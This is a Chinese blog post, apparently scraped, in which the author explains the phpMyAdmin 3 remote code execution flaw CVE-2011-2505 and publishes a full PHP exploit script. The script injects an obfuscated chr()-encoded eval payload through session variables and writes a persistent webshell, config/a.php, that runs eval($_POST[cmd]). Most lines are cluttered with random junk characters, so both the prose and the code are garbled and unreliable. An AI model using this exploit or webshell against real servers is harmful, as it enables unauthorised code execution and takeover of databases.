最近在家做专职奶爸,不谙圈内事很多months了,博客也无更新。2 M2 S; F1 ~0 }# S# ?0 z; J4 x# O
( M3 w9 r, D6 B. }8 G* j
昨夜带孩子整夜未眠,看到黑哥在php security群里关于phpmyadmin3漏洞的讨论,虽然之前没看过漏洞代码,不过前段时间还是在微博上看到wofeiwo的exp了,不过据黑哥说有不鸡肋的利用方法,于是夜里翻代码出来研究了翻,写出了这个冷饭exp,由于我搞的晚了,之前已经很多人研究了写exp了,于是我这个属于炒冷饭,权当研究研究打发时间了。4 v0 z _- K' }% S/ x1 I
}) o( }0 W8 [ Q/ j* @$ c首先赞下wofeiwo的python版本的exp,再赞下wofeiwo跟superhei的钻研精神,学习的榜样啊。不过之前那个exp利用起来是有一些限制的:
' }$ a/ z; e) G+ R9 B% X" {一是session.auto_start = 1;
- f* w9 {9 @6 r0 q二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。# R/ Z1 O. Y( M3 R
当然还有第三点大家都不可以逾越的鸿沟:config目录存在且可写。
5 L: f% e" Y; b: C5 n' F( ?2 B: `, v: y% r
在群里看了黑哥的发言后,再看了下代码,发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。
7 n4 z* ` j2 e, f, V U, T; v& W6 E9 q6 e) l
于是写了这个php版本的exp,代码如下:5 W. t/ l$ Y1 p' R4 H* y
+ Z% h8 Z, ]9 ?9 |#!/usr/bin/php& |' b. }& s( F/ O: C& c. h
<?php0 `+ f( ]# w# K0 E0 I
print_r('/ f. s7 g& E. `8 E& j) J, f! c# H
+---------------------------------------------------------------------------+
& _6 X) v" l; Npma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]* `3 S% X& i8 N0 x! {) [ e
by oldjun(www.oldjun.com)5 V2 T: _$ K- v L% a8 w! C+ l, l
welcome to www.t00ls.net
# c6 F% Q! ]( M" N6 D: ~: umail: oldjun@gmail.com
. a( H) A, m- O! {5 o- _$ A x1 ?Assigned CVE id: CVE-2011-2505& l2 ~; Z0 i% g0 j- i5 [
+---------------------------------------------------------------------------+* n. v# ]7 d8 C4 y% D) x( A! _
');% }+ p' K7 P5 L
6 z; v# Z0 E% d4 E/**9 `$ l* }" t6 _% U
* working when the directory:"config" exists and is writeable.
2 W6 a) `: e& V6 Y e$ W. \! J**/
( n3 H* D7 q' Q5 [ + J/ ]8 f4 m! l
if ($argc < 3) {. k3 X$ E/ V6 m- ?# Z
print_r('
: h' |! `) T$ V: f d+---------------------------------------------------------------------------+
* o; T/ s* V i$ _& s, B/ H8 \Usage: php '.$argv[0].' host path
. g4 n/ F. w# G1 ~" m! \4 @host: target server (ip/hostname), m7 T' Z' ?+ s
path: path to pma3
9 Y0 A/ k( D/ C% x: `Example:5 j. a0 b! ?4 C2 x& R) \, c
php '.$argv[0].' localhost /pma/) D. ~8 J) M( {
+---------------------------------------------------------------------------+, @8 H @4 m: x
');
3 d3 d; O- o4 { exit;
# o7 ]$ o% D8 d}2 Q! b3 X* v" q2 ~, ^5 Y( A
: Y V$ L1 W7 G; w' U' w/ ]3 u3 C
$host = $argv[1];
d: D/ N) F9 y, N' _) o$path = $argv[2];0 E; |) R# t3 E3 E9 m
7 R3 E, m" E/ | L3 a5 B/**2 w, U3 M! s1 ~1 F, B
* Try to determine if the directory:"config" exists
& M# q7 [$ b! u" r/ H& R3 \**/2 T; S( \3 \3 l2 y f7 B$ u2 v
echo "[+] Try to determine if the directory:config exists....\n";
) {* b' d& e& ~3 s) F* N$returnstr=php_request('config/');
9 Q$ P& o+ J+ a3 P: s, u# sif(strpos($returnstr,'404')){
/ W* R1 |; }7 `7 D( f exit("[-] Exploit Failed! The directory:config do not exists!\n");- I& @+ l; u+ e/ R0 q, D
}
6 q2 P% \; x4 r. L( a: b* ]
6 R! ] Z: l6 L3 Q1 r7 [/**4 {# N% w* Y- b) t& T
* Try to get token and sessionid
5 W+ M7 k( A& Z5 _0 j**/
2 J; X0 A* |& E1 wecho "[+] Try to get token and sessionid....\n";
2 D( W f& X3 z/ q7 C$result=php_request('index.php');) z7 \- v! p& b
preg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);) ]+ n* M l; V9 b1 O- o
$token=$resp[3];. } G, T: o, z# k- q
$sessionid=$resp[1];
6 \. a0 u) k b9 K0 K3 L2 G: K7 s2 ?if($token && $sessionid){3 V5 k7 z6 F5 N/ C
echo "[+] token token\n";6 v6 L( Q2 N1 {% g7 U$ ^9 _
echo "[+] Session ID sessionid\n";
, [: X( a4 `' S; z}else{$ G# d8 J' Z& c' j/ n' O
exit("[-] Can't get token and Session ID,Exploit Failed!\n");
" d+ y& E Z" f2 B}: b! }# ^; R1 v1 B" W! |
. {( g G1 T+ g8 | G: V+ ^/**
. K! P) k0 V J * Try to insert shell into session" k8 [6 n; E( Y/ }: {
**/
1 h6 J- j- R7 D/ A* ~" f6 lecho "[+] Try to insert shell into session....\n";( b3 a' C$ Z2 @2 M1 L
php_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.
. l) w9 y8 F4 x, P
% `. f7 s) X! B4 U1 ]; I# G/**; y; q' ?5 C ~7 {, E
* Try to create webshell
8 W& R* Y, [/ k5 Z**/
" y8 P/ v! n1 v! ~* yecho "[+] Try to create webshell....\n";8 s% G: c; q& |3 L5 Q9 I. e
php_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);+ x' p3 H8 n+ ]2 ~8 D
/**
, ?1 }" D) @; W7 Z * Try to check if the webshell was created successfully
6 j* [/ S' A' m% \- L4 t8 o+ z( }' ]**/+ w4 _+ C8 e! z$ n# D: w
echo "[+] Try to check if the webshell was created successfully....\n";) f- K5 t t2 |9 k/ w# N
$content=php_request('config/config.inc.php');" Q' E, t; N% t& }3 R
if(strpos($content,'t00ls')){6 x) U& ^# g2 q- C
echo "[+] Congratulations! Expoilt successfully....\n";5 f- ?4 n" j/ B5 s1 o. ?
echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";
+ _! T& D0 e0 u: j$ a7 @ P) P}else{0 J; a& @. ?% G2 ]- G* p
exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");
( J1 @: a1 k5 S, ]: d}8 _5 E* g: i1 D! _
% o5 o$ D2 ?: q0 B& k( j% k" Xfunction php_request($url,$data='',$cookie=''){
' |; j- S& [* W( \% m global $host, $path;
! z7 J7 E6 r3 { ^' h! q/ B0 Z8 U
/ q$ S5 Y& Y" K) b4 N& n $method=$data?'POST':'GET';
, T# Q& [7 o& @, \2 j$ a2 W4 P. u 9 K) |- r$ D( \( P- `
$packet = $method." ".$path.$url." HTTP/1.1\r\n";
) f9 Q+ h) ~8 A `( _: Y $packet .= "Accept: */*\r\n";; X5 L- R$ ]/ k4 J' l4 r
$packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";& C* D4 H9 [. a s, {- t
$packet .= "Host: $host\r\n";' O' `0 E9 S/ X! ~* x% j1 e/ r
$packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";
/ G+ P7 G9 ^$ K; @! M! X $packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";" V" p% T. _( d8 D0 ?% K! u& Y2 ]1 }
$packet .= $cookie?"Cookie: $cookie\r\n":"";
, z, p m$ \( V1 B# x! V w $packet .= "Connection: Close\r\n\r\n";& L$ A" E& l& [
$packet .= $data?$data:"";9 y5 H6 o# J; f2 Q0 t
0 ^: t) ^% @8 ? $fp = fsockopen(gethostbyname($host), 80);! p) F [$ K, Z. L$ Z( `) l8 K
if (!$fp) {
+ U/ b& U- v, y/ x( d echo 'No response from '.$host; die;
- P! c: B+ a6 s X. [ }
$ y; t# n5 o: |3 B& n; \ fputs($fp, $packet);
) A' x& l! D3 g3 X- J' g
l' j5 G; L _1 D $resp = '';
0 P" v5 u {' L' ^; W" \! W. J
, `# K/ W, \9 P& ]& [- v while ($fp && !feof($fp))
" J2 i- |) H5 k) U2 f8 M $resp .= fread($fp, 1024);6 ~; e- i8 t: Z# Y2 v$ p; U
/ X1 f! S4 C* C. \% E1 B- k3 K return $resp;
% n" i* m. e/ D$ S8 e: H( E}2 g9 D7 ? s2 P4 v# ?4 u3 v% [: j4 g
; |% R' q' R9 g+ g8 b1 _4 _?>
E$ N8 z* k, @# k6 b4 i$ S. |